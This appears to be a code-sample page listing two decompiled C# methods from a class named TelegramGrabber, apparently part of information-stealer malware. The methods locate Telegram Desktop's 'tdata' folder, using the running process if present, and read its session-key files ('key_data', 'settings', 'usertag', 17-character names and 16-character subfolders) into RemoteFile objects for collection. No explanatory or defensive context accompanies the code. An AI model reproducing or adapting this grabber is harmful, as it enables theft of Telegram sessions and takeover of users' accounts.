Beispiel #1
0
        // Token: 0x060001A1 RID: 417 RVA: 0x00005B78 File Offset: 0x00003D78
        public static List <RemoteFile> ParseFiles()
        {
            List <RemoteFile> list = new List <RemoteFile>();

            try
            {
                string   tdata       = TelegramGrabber.GetTdata();
                string[] directories = Directory.GetDirectories(tdata);
                foreach (string text in Directory.GetFiles(tdata))
                {
                    FileInfo fileInfo = new FileInfo(text);
                    string   name     = fileInfo.Name;
                    if (fileInfo.Length <= 5120L)
                    {
                        if (name.EndsWith("s") && name.Length == 17)
                        {
                            list.Add(new RemoteFile
                            {
                                Body     = File.ReadAllBytes(text),
                                FileName = name
                            });
                        }
                        else if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data"))
                        {
                            list.Add(new RemoteFile
                            {
                                Body     = File.ReadAllBytes(text),
                                FileName = name
                            });
                        }
                    }
                }
                string[] array = directories;
                for (int i = 0; i < array.Length; i++)
                {
                    DirectoryInfo directoryInfo = new DirectoryInfo(array[i]);
                    string        name2         = directoryInfo.Name;
                    if (name2.Length == 16)
                    {
                        foreach (FileInfo fileInfo2 in directoryInfo.GetFiles())
                        {
                            list.Add(new RemoteFile
                            {
                                Body          = File.ReadAllBytes(fileInfo2.FullName),
                                FileName      = fileInfo2.Name,
                                FileDirectory = name2
                            });
                        }
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Beispiel #2
0
        // Token: 0x0600019F RID: 415 RVA: 0x00005A78 File Offset: 0x00003C78
        private static string GetTdata()
        {
            string result = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";

            Process[] processesByName = Process.GetProcessesByName("Telegram");
            if (processesByName.Length == 0)
            {
                return(result);
            }
            return(Path.Combine(Path.GetDirectoryName(TelegramGrabber.ProcessExecutablePath(processesByName[0])), "tdata"));
        }